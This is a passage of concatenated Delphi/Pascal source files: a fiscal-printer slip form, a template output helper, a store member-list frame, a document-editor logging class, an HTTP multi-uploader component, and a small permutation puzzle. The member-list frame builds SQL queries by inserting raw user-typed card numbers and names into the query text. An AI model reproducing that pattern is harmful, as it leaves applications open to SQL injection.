GetVal(78); Driver.TotalSumOffset := GetVal(79); Driver.Summ1NameOffset := GetVal(80); Driver.Summ1Offset := GetVal(81); Driver.Summ2NameOffset := GetVal(82); Driver.Summ2Offset := GetVal(83); Driver.Summ3NameOffset := GetVal(84); Driver.Summ3Offset := GetVal(85); Driver.Summ4NameOffset := GetVal(86); Driver.Summ4Offset := GetVal(87); Driver.ChangeOffset := GetVal(88); Driver.ChangeSumOffset := GetVal(89); Driver.Tax1NameOffset := GetVal(90); Driver.Tax1TurnOverOffset := GetVal(91); Driver.Tax1RateOffset := GetVal(92); Driver.Tax1SumOffset := GetVal(93); Driver.Tax2NameOffset := GetVal(94); Driver.Tax2TurnOverOffset := GetVal(95); Driver.Tax2RateOffset := GetVal(96); Driver.Tax2SumOffset := GetVal(97); Driver.Tax3NameOffset := GetVal(98); Driver.Tax3TurnOverOffset := GetVal(99); Driver.Tax3RateOffset := GetVal(100); Driver.Tax3SumOffset := GetVal(101); Driver.Tax4NameOffset := GetVal(102); Driver.Tax4TurnOverOffset := GetVal(103); Driver.Tax4RateOffset := GetVal(104); Driver.Tax4SumOffset := GetVal(105); Driver.SubTotalOffset := GetVal(106); Driver.SubTotalSumOffset := GetVal(107); Driver.DiscountOnCheckOffset := GetVal(108); Driver.DiscountOnCheckSumOffset := GetVal(109); end; procedure TfmSlipClose.btnCloseCheckOnSlipDocumentClick(Sender: TObject); var Count: Integer; begin EnableButtons(False); try UpdateObject; Check(Driver.CloseCheckOnSlipDocument); Count := Driver.OperationBlockFirstString; Count := Count + Driver.StringQuantityinOperation; Driver.OperationBlockFirstString := Count; UpdatePage; finally EnableButtons(True); end; end; procedure TfmSlipClose.UpdatePage; begin seCount.Value := Driver.OperationBlockFirstString; end; procedure TfmSlipClose.btnStandardCloseCheckOnSlipDocumentClick(Sender: TObject); var Count: Integer; begin EnableButtons(False); try UpdateObject; Check(Driver.StandardCloseCheckOnSlipDocument); Count := Driver.OperationBlockFirstString; Count := Count + Driver.ReadTableDef(14,1,1,17); Driver.OperationBlockFirstString := Count; UpdatePage; finally EnableButtons(True); end; end; procedure TfmSlipClose.Initialize; var i: Integer; begin VLE_AddSeparator(vleParams, 'Основные'); for i := Low(CloseSlipParams) to High(CloseSlipParams) do VLE_AddProperty(vleParams, CloseSlipParams[i].Name, IntToStr(CloseSlipParams[i].Value)); for i := 1 to 4 do VLE_AddPickProperty(vleParams, Format('%s %d', [C_Tax, i]), 'Нет', ['Нет', '1 группа', '2 группа', '3 группа', '4 группа'], [0, 1, 2, 3, 4]); VLE_AddProperty(vleParams, C_StringForPrinting, 'Строка для печати'); VLE_AddSeparator(vleParams, 'Дополнительные'); for i := Low(CloseSlipExParams) to High(CloseSlipExParams) do VLE_AddProperty(vleParams, CloseSlipExParams[i].Name, IntToStr(CloseSlipExParams[i].Value)); // Если были загружены настройки, записываем их в контрол if TestParams.ParamsLoaded then StringToVLEParams(vleParams, TestParams.SlipClose.Text) else TestParams.SlipClose.Text := VLEParamsToString(vleParams); end; function TfmSlipClose.LoadFromTables: Integer; var i: Integer; begin EnableButtons(False); try Driver.TableNumber := 14; Result := Driver.GetTableStruct; if Result <> 0 then Exit; Driver.RowNumber := 1; for i := 1 to Driver.FieldNumber do begin Driver.FieldNumber := i; Result := Driver.ReadTable; if Result = 0 then vleParams.Cells[1, i + 12] := IntToSTr(Driver.ValueOfFieldInteger); end; Updatepage; finally EnableButtons(True); end; end; procedure TfmSlipClose.vleParamsDrawCell(Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState); begin VLE_DrawCell(Sender, ACol, ARow, Rect, State); end; procedure TfmSlipClose.btnLoadFromTablesClick(Sender: TObject); begin Check(LoadFromTables); end; procedure TfmSlipClose.btnDefaultValuesClick(Sender: TObject); begin vleParams.Strings.Text := ''; Initialize; end; procedure TfmSlipClose.btnSaveToTablesClick(Sender: TObject); begin Check(SaveToTables); end; function TfmSlipClose.SaveToTables: Integer; var i: Integer; begin EnableButtons(False); try Driver.TableNumber := 14; Result := Driver.GetTableStruct; if Result <> 0 then Exit; Driver.RowNumber := 1; for i := 1 to Driver.FieldNumber do begin Driver.FieldNumber := i; Driver.ValueOfFieldInteger := StrToInt(vleParams.Cells[1, i + 12]); Result := Driver.WriteTable; if Result <> 0 then Exit; end; Updatepage; finally EnableButtons(True); end; end; procedure TfmSlipClose.vleParamsSetEditText(Sender: TObject; ACol, ARow: Integer; const Value: String); begin TestParams.SlipClose.Text := VLEParamsToString(vleParams); end; procedure TfmSlipClose.FormResize(Sender: TObject); begin if vleParams.Width > 392 then vleParams.DisplayOptions := vleParams.DisplayOptions + [doAutoColResize] else vleParams.DisplayOptions := vleParams.DisplayOptions - [doAutoColResize]; end; function TfmSlipClose.GetFloatItem(const AName: string): Double; begin Result := StrToFloat(VLE_GetPropertyValue(vleParams, AName)); end; function TfmSlipClose.GetCurrItem(const AName: string): Currency; begin Result := StrToCurr(VLE_GetPropertyValue(vleParams, AName)); end; end.
unit steProcGenHelper; {$mode objfpc}{$H+} interface // I/O Helper for output generation uses Classes, SysUtils, steProcessor; type TSTEProcGenHelper = class helper for TSTEProcessor function GenerateToString : string; procedure GenerateToFile(const AFileName : string); // generate and parse internally procedure GenerateFromString(const ASource : string); // to Output end; implementation uses steParser; function TSTEProcGenHelper.GenerateToString : string; var ms: TMemoryStream; begin ms := TMemoryStream.Create; try FOutput := ms; Generate; ms.Position := 0; SetLength(Result, ms.Size); ms.Read(Result[1], ms.Size); finally ms.Free; end; end; procedure TSTEProcGenHelper.GenerateToFile(const AFileName : string); var fs: TFileStream; begin fs := TFileStream.Create(AFileName, fmCreate); try FOutput := fs; Generate; finally fs.Free; end; end; procedure TSTEProcGenHelper.GenerateFromString(const ASource : string); var tp : TSTEParser; tpl : TSTEParsedTemplateData; begin tp := TSTEParser.Create; try tpl := tp.Prepare(ASource); try FTemplate := tpl; Generate; finally FTemplate := nil; tpl.Free; end; finally tp.Free; end; end; end.
{******************************************************************************* 作者: dmzn@163.com 2011-11-21 描述: 会员列表 *******************************************************************************} unit UFrameMembers; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, UFrameBase, UGridPainter, cxGraphics, cxLookAndFeels, cxLookAndFeelPainters, Menus, Grids, StdCtrls, cxButtons, cxControls, cxContainer, cxEdit, cxTextEdit, cxMaskEdit, cxButtonEdit, ExtCtrls, UGridExPainter, UImageButton; type TfFrameMembers = class(TfFrameBase) Panel2: TPanel; Label1: TLabel; Label4: TLabel; EditCard: TcxButtonEdit; EditName: TcxButtonEdit; LabelHint: TLabel; GridList: TDrawGridEx; procedure BtnExitClick(Sender: TObject); procedure EditCardPropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure EditCardKeyPress(Sender: TObject; var Key: Char); private { Private declarations } FPainter: TGridPainter; //绘图对象 procedure LoadMembers(const nWhere: string = ''); //载入会员 procedure OnBtnClick(Sender: TObject); //按钮点击 public { Public declarations } procedure OnCreateFrame; override; procedure OnDestroyFrame; override; class function FrameID: integer; override; end; implementation {$R *.dfm} uses DB, ULibFun, UDataModule, UMgrControl, USysFun, USysConst, USysDB, UFormMemberView; class function TfFrameMembers.FrameID: integer; begin Result := cFI_FrameMembers; end; procedure TfFrameMembers.OnCreateFrame; begin Name := MakeFrameName(FrameID); FPainter := TGridPainter.Create(GridList); with FPainter do begin HeaderFont.Style := HeaderFont.Style + [fsBold]; //粗体 AddHeader('序号', 50); AddHeader('会员卡号', 50); AddHeader('会员名称', 50); AddHeader('性别', 50); AddHeader('开卡时间', 50); AddHeader('联系方式', 50); AddHeader('购物次数', 50); AddHeader('总消费金额', 50); AddHeader('优惠金额', 50); AddHeader('详细查看', 50); end; LoadDrawGridConfig(Name, GridList); AdjustLabelCaption(LabelHint, GridList); Width := GetGridHeaderWidth(GridList); LoadMembers; end; procedure TfFrameMembers.OnDestroyFrame; begin FPainter.Free; SaveDrawGridConfig(Name, GridList); end; procedure TfFrameMembers.BtnExitClick(Sender: TObject); begin Close; end; procedure TfFrameMembers.LoadMembers(const nWhere: string); var nStr,nHint: string; nIdx,nInt: Integer; nDS: TDataSet; nBtn: TImageButton; nData: TGridDataArray; begin nStr := 'Select * From %s Where M_TerminalId=''%s'''; nStr := Format(nStr, [sTable_Member, gSysParam.FTerminalID]); if nWhere <> '' then nStr := nStr + ' And (' + nWhere + ')'; //xxxxx nDS := FDM.LockDataSet(nStr, nHint); try if not Assigned(nDS) then begin ShowDlg(nHint, sWarn); Exit; end; FPainter.ClearData; if nDS.RecordCount < 1 then Exit; with nDS do begin nInt := 1; First; while not Eof do begin SetLength(nData, 11); for nIdx:=Low(nData) to High(nData) do begin nData[nIdx].FText := ''; nData[nIdx].FCtrls := nil; nData[nIdx].FAlign := taCenter; end; nData[0].FText := IntToStr(nInt); Inc(nInt); nData[1].FText := FieldByName('M_Card').AsString; nData[2].FText := FieldByName('M_Name').AsString; if FieldByName('M_Sex').AsString = sFlag_Male then nData[3].FText := '男' else nData[3].FText := '女'; nData[4].FText := FieldByName('M_Date').AsString; nData[5].FText := FieldByName('M_Phone').AsString; nData[6].FText := FieldByName('M_BuyTime').AsString; nData[7].FText := FieldByName('M_BuyMoney').AsString; nData[8].FText := FieldByName('M_DeMoney').AsString; with nData[9] do begin FText := ''; FAlign := taCenter; FCtrls := TList.Create; nBtn := TImageButton.Create(Self); FCtrls.Add(nBtn); with nBtn do begin Parent := Self; ButtonID := 'btn_view'; LoadButton(nBtn); OnClick := OnBtnClick; Tag := FPainter.DataCount; end; end; nData[10].FText := FieldByName('M_ID').AsString; FPainter.AddData(nData); Next; end; end; finally FDM.ReleaseDataSet(nDS); end; end; procedure TfFrameMembers.EditCardKeyPress(Sender: TObject; var Key: Char); begin if Key = #13 then begin Key := #0; TcxButtonEdit(Sender).Properties.OnButtonClick(Sender, 0); end; end; //Desc: 查询点击 procedure TfFrameMembers.EditCardPropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); var nStr: string; begin if Sender = EditCard then begin if EditCard.Text = '' then nStr := '' else nStr := Format('M_Card=''%s''', [EditCard.Text]); LoadMembers(nStr); end else if Sender = EditName then begin if EditName.Text = '' then nStr := '' else nStr := Format('M_Name Like ''%%%s%%''', [EditName.Text]); LoadMembers(nStr); end; end; //Desc: 按钮处理 procedure TfFrameMembers.OnBtnClick(Sender: TObject); var nTag: Integer; begin nTag := TComponent(Sender).Tag; ShowMemberInfoForm(FPainter.Data[nTag][10].FText); end; initialization gControlManager.RegCtrl(TfFrameMembers, TfFrameMembers.FrameID); end.
unit evCellWidthCorrecterSpy; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // Библиотека "Everest" // Модуль: "w:/common/components/gui/Garant/Everest/evCellWidthCorrecterSpy.pas" // Родные Delphi интерфейсы (.pas) // Generated from UML model, root element: <<SimpleClass::Class>> Shared Delphi::Everest::CellUtils::TevCellWidthCorrecterSpy // // Собиратель информации для тестов. // // // Все права принадлежат ООО НПП "Гарант-Сервис". // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // ! Полностью генерируется с модели. Править руками - нельзя. ! {$Include ..\Everest\evDefine.inc} interface uses l3Filer, l3ProtoObject ; type IevCellsWidthCorrecterLogger = interface(IUnknown) ['{D6A90763-2ABA-44CF-9E08-78D3B6C5ACCD}'] function OpenLog: AnsiString; procedure CloseLog(const aLogName: AnsiString); end;//IevCellsWidthCorrecterLogger TevCellLogData = record rCellID : Integer; rCellText : AnsiString; rOldWidth : Integer; rNewWidth : Integer; end;//TevCellLogData TevCellWidthCorrecterSpy = class(Tl3ProtoObject) {* Собиратель информации для тестов. } private // private fields f_Logger : IevCellsWidthCorrecterLogger; f_Filer : Tl3CustomFiler; f_LogName : AnsiString; protected // overridden protected methods procedure Cleanup; override; {* Функция очистки полей объекта. } procedure ClearFields; override; public // public methods class function Exists: Boolean; procedure SetLogger(const aLogger: IevCellsWidthCorrecterLogger); procedure RemoveLogger(const aLogger: IevCellsWidthCorrecterLogger); procedure StartSaveData; procedure EndSaveData; procedure SaveAlignmentData(const aCellLogData: TevCellLogData); procedure SaveRowData(anIndex: Integer; aOldRowWidth: Integer; aNewRowWidth: Integer); function NeedLog: Boolean; public // singleton factory method class function Instance: TevCellWidthCorrecterSpy; {- возвращает экземпляр синглетона. } end;//TevCellWidthCorrecterSpy implementation uses l3Base {a}, l3Types, SysUtils ; // start class TevCellWidthCorrecterSpy var g_TevCellWidthCorrecterSpy : TevCellWidthCorrecterSpy = nil; procedure TevCellWidthCorrecterSpyFree; begin l3Free(g_TevCellWidthCorrecterSpy); end; class function TevCellWidthCorrecterSpy.Instance: TevCellWidthCorrecterSpy; begin if (g_TevCellWidthCorrecterSpy = nil) then begin l3System.AddExitProc(TevCellWidthCorrecterSpyFree); g_TevCellWidthCorrecterSpy := Create; end; Result := g_TevCellWidthCorrecterSpy; end; class function TevCellWidthCorrecterSpy.Exists: Boolean; //#UC START# *4FC704C00038_4FC701EC00C0_var* //#UC END# *4FC704C00038_4FC701EC00C0_var* begin //#UC START# *4FC704C00038_4FC701EC00C0_impl* Result := g_TevCellWidthCorrecterSpy <> nil; //#UC END# *4FC704C00038_4FC701EC00C0_impl* end;//TevCellWidthCorrecterSpy.Exists procedure TevCellWidthCorrecterSpy.SetLogger(const aLogger: IevCellsWidthCorrecterLogger); //#UC START# *4FC7078600A7_4FC701EC00C0_var* //#UC END# *4FC7078600A7_4FC701EC00C0_var* begin //#UC START# *4FC7078600A7_4FC701EC00C0_impl* Assert(f_Logger = nil); f_Logger := aLogger; //#UC END# *4FC7078600A7_4FC701EC00C0_impl* end;//TevCellWidthCorrecterSpy.SetLogger procedure TevCellWidthCorrecterSpy.RemoveLogger(const aLogger: IevCellsWidthCorrecterLogger); //#UC START# *4FC707B501FD_4FC701EC00C0_var* //#UC END# *4FC707B501FD_4FC701EC00C0_var* begin //#UC START# *4FC707B501FD_4FC701EC00C0_impl* Assert(f_Logger = aLogger); f_Logger := nil; //#UC END# *4FC707B501FD_4FC701EC00C0_impl* end;//TevCellWidthCorrecterSpy.RemoveLogger procedure TevCellWidthCorrecterSpy.StartSaveData; //#UC START# *4FC708230066_4FC701EC00C0_var* //#UC END# *4FC708230066_4FC701EC00C0_var* begin //#UC START# *4FC708230066_4FC701EC00C0_impl* if NeedLog then begin f_LogName := f_Logger.OpenLog; f_Filer := Tl3CustomDOSFiler.Make(f_LogName, l3_fmWrite); f_Filer.Open; end; // if NeedLog then //#UC END# *4FC708230066_4FC701EC00C0_impl* end;//TevCellWidthCorrecterSpy.StartSaveData procedure TevCellWidthCorrecterSpy.EndSaveData; //#UC START# *4FC7085C00D7_4FC701EC00C0_var* //#UC END# *4FC7085C00D7_4FC701EC00C0_var* begin //#UC START# *4FC7085C00D7_4FC701EC00C0_impl* if NeedLog then begin f_Filer.Close; FreeAndNil(f_Filer); f_Logger.CloseLog(f_LogName); end; // if NeedLog then //#UC END# *4FC7085C00D7_4FC701EC00C0_impl* end;//TevCellWidthCorrecterSpy.EndSaveData procedure TevCellWidthCorrecterSpy.SaveAlignmentData(const aCellLogData: TevCellLogData); //#UC START# *4FC708720012_4FC701EC00C0_var* //#UC END# *4FC708720012_4FC701EC00C0_var* begin //#UC START# *4FC708720012_4FC701EC00C0_impl* if NeedLog then begin f_Filer.WriteLn(Format('Ячейка № = %d, Текст = %s', [aCellLogData.rCellID, aCellLogData.rCellText])); f_Filer.WriteLn(Format('Старая ширина = %d, Новая ширина = %d', [aCellLogData.rOldWidth, aCellLogData.rNewWidth])); end; //#UC END# *4FC708720012_4FC701EC00C0_impl* end;//TevCellWidthCorrecterSpy.SaveAlignmentData procedure TevCellWidthCorrecterSpy.SaveRowData(anIndex: Integer; aOldRowWidth: Integer; aNewRowWidth: Integer); //#UC START# *4FC709AF00B7_4FC701EC00C0_var* //#UC END# *4FC709AF00B7_4FC701EC00C0_var* begin //#UC START# *4FC709AF00B7_4FC701EC00C0_impl* if NeedLog then begin f_Filer.WriteLn(Format('Стока № = %d', [anIndex])); f_Filer.WriteLn(Format('Старая ширина = %d, Новая ширина = %d', [aOldRowWidth, aNewRowWidth])); f_Filer.WriteLn(''); end; //#UC END# *4FC709AF00B7_4FC701EC00C0_impl* end;//TevCellWidthCorrecterSpy.SaveRowData function TevCellWidthCorrecterSpy.NeedLog: Boolean; //#UC START# *4FC723F7027F_4FC701EC00C0_var* //#UC END# *4FC723F7027F_4FC701EC00C0_var* begin //#UC START# *4FC723F7027F_4FC701EC00C0_impl* Result := f_Logger <> nil; //#UC END# *4FC723F7027F_4FC701EC00C0_impl* end;//TevCellWidthCorrecterSpy.NeedLog procedure TevCellWidthCorrecterSpy.Cleanup; //#UC START# *479731C50290_4FC701EC00C0_var* //#UC END# *479731C50290_4FC701EC00C0_var* begin //#UC START# *479731C50290_4FC701EC00C0_impl* FreeAndNil(f_Filer); f_LogName := ''; inherited; //#UC END# *479731C50290_4FC701EC00C0_impl* end;//TevCellWidthCorrecterSpy.Cleanup procedure TevCellWidthCorrecterSpy.ClearFields; {-} begin f_Logger := nil; inherited; end;//TevCellWidthCorrecterSpy.ClearFields end.
{ Clever Internet Suite Copyright (C) 2013 Clever Components All Rights Reserved www.CleverComponents.com } unit clMultiUploader; interface {$I clVer.inc} uses {$IFNDEF DELPHIXE2} Classes, SysUtils, {$ELSE} System.Classes, System.SysUtils, {$ENDIF} clWinInet, clDC, clMultiDC, clDCUtils, clUtils, clHttpRequest; type TclMultiUploader = class; TclUploadItem = class; TclOnPrepareItemToPublish = procedure (Sender: TObject; Item: TclUploadItem; var CanProceed, Handled: Boolean) of object; TclUploadItem = class(TclInternetItem) private FHttpResponse: TStrings; FUseSimpleRequest: Boolean; FHttpResponseStream: TStream; FSelfHttpResponseStream: TStream; FRequestMethod: string; function GetHttpResponseStream: TStream; procedure ClearHttpResponseStream(); procedure SetHttpResponseStream(const Value: TStream); protected function GetForceRemoteDir: Boolean; virtual; procedure InternalStart(AIsGetResourceInfo: Boolean); override; function CanProcess: Boolean; override; procedure AssignThreaderParams(AThreader: TclCustomThreader); override; function CreateThreader(ADataStream: TStream; AIsGetResourceInfo: Boolean): TclCustomThreader; override; function GetDataStream: TStream; override; procedure SetLocalFile(const Value: string); override; function GetControl: TclCustomInternetControl; override; procedure ProcessCompleted(AThreader: TclCustomThreader); override; procedure CommitWork; override; procedure DoCreate; override; procedure DoDestroy; override; procedure SetUseHttpRequest(const Value: Boolean); override; public procedure Assign(Source: TPersistent); override; property HttpResponse: TStrings read FHttpResponse; property HttpResponseStream: TStream read FHttpResponseStream write SetHttpResponseStream; published property ThreadCount default 1; property UseSimpleRequest: Boolean read FUseSimpleRequest write FUseSimpleRequest default False; property RequestMethod: string read FRequestMethod write FRequestMethod; end; TclUploadList = class(TOwnedCollection) private function GetItem(Index: Integer): TclUploadItem; procedure SetItem(Index: Integer; const Value: TclUploadItem); function GetUploader: TclMultiUploader; public function Add: TclUploadItem; property Items[Index: Integer]: TclUploadItem read GetItem write SetItem; default; property Uploader: TclMultiUploader read GetUploader; end; TclMultiUploader = class(TclMultiInternetControl) private FUploadList: TclUploadList; FForceRemoteDir: Boolean; FPublishFileAttr: Integer; FPublishFileMask: string; FIsPublishing: Boolean; FOnPrepareItemToPublish: TclOnPrepareItemToPublish; procedure SetUploadList(const Value: TclUploadList); procedure PrepareUploadListToPublish(const ASourceLocalFolder, ADestinationRemoteFolder: string); procedure PrepareItemToPublish(const ASourceLocalFile, ADestinationUrl: string); protected procedure DoPrepareItemToPublish(Item: TclUploadItem; var CanProceed, Handled: Boolean); dynamic; function GetInternetItems(Index: Integer): TclInternetItem; override; function GetInternetItemsCount: Integer; override; procedure IsBusyChanged; override; public constructor Create(AOwner: TComponent); override; destructor Destroy; override; procedure Publish(const ASourceLocalFolder, ADestinationRemoteFolder: string; IsAsynch: Boolean = True); property IsPublishing: Boolean read FIsPublishing; published property UploadList: TclUploadList read FUploadList write SetUploadList; property ForceRemoteDir: Boolean read FForceRemoteDir write FForceRemoteDir default False; property PublishFileMask: string read FPublishFileMask write FPublishFileMask; property PublishFileAttr: Integer read FPublishFileAttr write FPublishFileAttr default faAnyFile; property OnPrepareItemToPublish: TclOnPrepareItemToPublish read FOnPrepareItemToPublish write FOnPrepareItemToPublish; end; implementation uses {$IFNDEF DELPHIXE2} {$IFDEF DEMO}Forms, Windows, clCertificate,{$ENDIF} {$ELSE} {$IFDEF DEMO}Vcl.Forms, Winapi.Windows, clCertificate,{$ENDIF} {$ENDIF} clUriUtils; { TclUploadList } function TclUploadList.Add: TclUploadItem; begin Result := TclUploadItem(inherited Add()); end; function TclUploadList.GetItem(Index: Integer): TclUploadItem; begin Result := TclUploadItem(inherited GetItem(Index)); end; function TclUploadList.GetUploader: TclMultiUploader; begin Result := (GetOwner() as TclMultiUploader); end; procedure TclUploadList.SetItem(Index: Integer; const Value: TclUploadItem); begin inherited SetItem(Index, Value); end; { TclUploadItem } procedure TclUploadItem.AssignThreaderParams(AThreader: TclCustomThreader); var UploadThreader: TclUploadThreader; begin inherited AssignThreaderParams(AThreader); if (AThreader is TclUploadThreader) then begin UploadThreader := (AThreader as TclUploadThreader); UploadThreader.UseSimpleRequest := UseSimpleRequest; UploadThreader.HttpResponse := GetHttpResponseStream(); UploadThreader.ForceRemoteDir := GetForceRemoteDir(); UploadThreader.RequestMethod := RequestMethod; end; end; function TclUploadItem.GetForceRemoteDir: Boolean; begin Result := (Control as TclMultiUploader).ForceRemoteDir; end; function TclUploadItem.GetDataStream(): TStream; begin if (DataStream = nil) then begin if UseHttpRequest and (HttpRequest <> nil) then begin SetInternalDataStream(HttpRequest.RequestStream); end else begin if FileExists(LocalFile) then begin SetInternalDataStream(TFileStream.Create(LocalFile, fmOpenRead or fmShareDenyWrite)); end; end; end; Result := DataStream; end; function TclUploadItem.CreateThreader(ADataStream: TStream; AIsGetResourceInfo: Boolean): TclCustomThreader; begin Result := TclUploadThreader.Create(URL, ADataStream, AIsGetResourceInfo); end; {$IFDEF DEMO} {$IFNDEF IDEDEMO} var IsDemoDisplayed: Boolean = False; {$ENDIF} {$ENDIF} procedure TclUploadItem.ProcessCompleted(AThreader: TclCustomThreader); begin {$IFDEF DEMO} {$IFNDEF STANDALONEDEMO} if FindWindow('TAppBuilder', nil) = 0 then begin MessageBox(0, 'This demo version can be run under Delphi/C++Builder IDE only. ' + 'Please visit www.clevercomponents.com to purchase your ' + 'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST); ExitProcess(1); end else {$ENDIF} begin {$IFNDEF IDEDEMO} if (not IsDemoDisplayed) and (not IsCertDemoDisplayed) and (not IsHttpRequestDemoDisplayed) then begin IsDemoDisplayed := True; IsCertDemoDisplayed := True; IsHttpRequestDemoDisplayed := True; MessageBox(0, 'Please visit www.clevercomponents.com to purchase your ' + 'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST); end; IsDemoDisplayed := True; IsCertDemoDisplayed := True; IsHttpRequestDemoDisplayed := True; {$ENDIF} end; {$ENDIF} inherited ProcessCompleted(AThreader); end; procedure TclUploadItem.CommitWork; begin if (FHttpResponseStream = nil) then begin FHttpResponse.Text := GetStreamAsString(GetHttpResponseStream(), 0, GetDefaultChar()); end; inherited CommitWork(); ClearHttpResponseStream(); end; function TclUploadItem.GetHttpResponseStream(): TStream; begin Result := FHttpResponseStream; if (Result = nil) then begin if (FSelfHttpResponseStream = nil) then begin FSelfHttpResponseStream := TMemoryStream.Create(); end; Result := FSelfHttpResponseStream; end; end; procedure TclUploadItem.ClearHttpResponseStream(); begin FSelfHttpResponseStream.Free(); FSelfHttpResponseStream := nil; end; function TclUploadItem.GetControl: TclCustomInternetControl; begin Result := (Collection as TclUploadList).Uploader; end; function TclUploadItem.CanProcess(): Boolean; var Stream: TStream; begin Result := True; Stream := GetDataStream(); if (Stream <> nil) then begin Result := CheckSizeValid(Stream.Size); end; end; procedure TclUploadItem.SetLocalFile(const Value: string); var Corrector: TclUrlCorrector; begin if (LocalFile = Value) then Exit; inherited SetLocalFile(Value); if (csLoading in Control.ComponentState) or UseHttpRequest then Exit; Corrector := TclUrlCorrector.Create(); try URL := Corrector.GetURLByLocalFile(URL, LocalFile); finally Corrector.Free(); end; end; procedure TclUploadItem.InternalStart(AIsGetResourceInfo: Boolean); function GetStreamSize(): Int64; var Stream: TStream; begin Stream := GetDataStream(); if (Stream <> nil) then begin Result := Stream.Size; end else begin Result := 0; end; end; var size: Int64; begin FHttpResponse.Clear(); if (not AIsGetResourceInfo) and (ResourceState.Count = 0) then begin size := GetStreamSize(); ResourceState.Init(1, size); end; inherited InternalStart(AIsGetResourceInfo); end; procedure TclUploadItem.Assign(Source: TPersistent); begin inherited Assign(Source); if (Source is TclUploadItem) then begin FUseSimpleRequest := (Source as TclUploadItem).UseSimpleRequest; end; end; procedure TclUploadItem.SetHttpResponseStream(const Value: TStream); begin if (FHttpResponseStream <> Value) then begin ClearHttpResponseStream(); FHttpResponseStream := Value; end; end; procedure TclUploadItem.DoCreate; begin inherited DoCreate(); FHttpResponse := TStringList.Create(); RequestMethod := 'PUT'; end; procedure TclUploadItem.DoDestroy; begin ClearHttpResponseStream(); FHttpResponse.Free(); inherited DoDestroy(); end; procedure TclUploadItem.SetUseHttpRequest(const Value: Boolean); const methods: array[Boolean] of string = ('PUT', 'POST'); begin inherited SetUseHttpRequest(Value); if (csLoading in Control.ComponentState) then Exit; RequestMethod := methods[UseHttpRequest]; end; { TclMultiUploader } constructor TclMultiUploader.Create(AOwner: TComponent); begin inherited Create(AOwner); FUploadList := TclUploadList.Create(Self, TclUploadItem); FIsPublishing := False; FPublishFileMask := '*.*'; FPublishFileAttr := faAnyFile; end; destructor TclMultiUploader.Destroy; begin FUploadList.Free(); inherited Destroy(); end; function TclMultiUploader.GetInternetItems(Index: Integer): TclInternetItem; begin Result := FUploadList[Index]; end; function TclMultiUploader.GetInternetItemsCount: Integer; begin Result := FUploadList.Count; end; procedure TclMultiUploader.IsBusyChanged; begin if not IsBusy then begin FIsPublishing := False; end; inherited IsBusyChanged(); end; procedure TclMultiUploader.DoPrepareItemToPublish(Item: TclUploadItem; var CanProceed, Handled: Boolean); begin if Assigned(OnPrepareItemToPublish) then begin OnPrepareItemToPublish(Self, Item, CanProceed, Handled); end; end; procedure TclMultiUploader.PrepareItemToPublish(const ASourceLocalFile, ADestinationUrl: string); var item: TclUploadItem; canProceed, handled: Boolean; begin item := UploadList.Add(); item.LocalFile := ASourceLocalFile; item.URL := ADestinationUrl; canProceed := True; handled := False; DoPrepareItemToPublish(item, canProceed, handled); if not canProceed then begin item.Free(); end; end; procedure TclMultiUploader.PrepareUploadListToPublish(const ASourceLocalFolder, ADestinationRemoteFolder: string); function AddSeparatorIfNeed(const APath: string; ASeparator: Char): string; begin Result := APath; if (Result <> '') and (Result[Length(Result)] <> ASeparator) then begin Result := Result + ASeparator; end; end; var sr: TSearchRec; root, remoteRoot: string; begin root := AddSeparatorIfNeed(ASourceLocalFolder, '\'); remoteRoot := AddSeparatorIfNeed(ADestinationRemoteFolder, '/'); if FindFirst(root + PublishFileMask, PublishFileAttr - faDirectory, sr) = 0 then begin repeat PrepareItemToPublish(root + sr.Name, remoteRoot + sr.Name); until FindNext(sr) <> 0; {$IFDEF DELPHIXE2}System.{$ENDIF}SysUtils.FindClose(sr); end; if (PublishFileAttr and faDirectory) > 0 then begin if FindFirst(root + '*.*', faDirectory, sr) = 0 then begin repeat if (sr.Name <> '.') and (sr.Name <> '..') and ((sr.Attr and faDirectory) > 0) then begin PrepareUploadListToPublish(root + sr.Name, remoteRoot + sr.Name); end; until FindNext(sr) <> 0; {$IFDEF DELPHIXE2}System.{$ENDIF}SysUtils.FindClose(sr); end; end; end; procedure TclMultiUploader.Publish(const ASourceLocalFolder, ADestinationRemoteFolder: string; IsAsynch: Boolean); begin if IsPublishing or IsBusy then begin raise EclInternetError.Create(cOperationIsInProgress, -1); end; ForceRemoteDir := True; FIsPublishing := True; UploadList.Clear(); PrepareUploadListToPublish(ASourceLocalFolder, ADestinationRemoteFolder); if UploadList.Count > 0 then begin Start(nil, IsAsynch); end else begin FIsPublishing := False; end; end; procedure TclMultiUploader.SetUploadList(const Value: TclUploadList); begin FUploadList.Assign(Value); end; end.
program Ch2; {$mode objfpc} uses SysUtils,Types; var Arr:TIntegerDynArray; Count:Integer; procedure Swap(var A,B:Integer); var Temp:Integer; begin Temp := A; A := B; B := Temp; end; function IsCute(constref Arr:TIntegerDynArray):Boolean; var I:Integer; begin for I := 1 to Length(Arr) do if(((I mod Arr[I-1]) <> 0) and ((Arr[I-1] mod I) <> 0)) then Exit(False); Exit(True); end; procedure Permute(var Arr:TIntegerDynArray; I,SZ:Integer; var Count:Integer); var J:Integer; begin if SZ = I then begin if IsCute(Arr) then Inc(Count); Exit; end; for J := I to SZ-1 do begin Swap(Arr[I],Arr[J]); Permute(Arr, I+1, SZ, Count); Swap(Arr[I],Arr[J]); end; end; begin Arr := [1,2]; Count := 0; Permute(Arr,0,2,Count); WriteLn(Count); end.
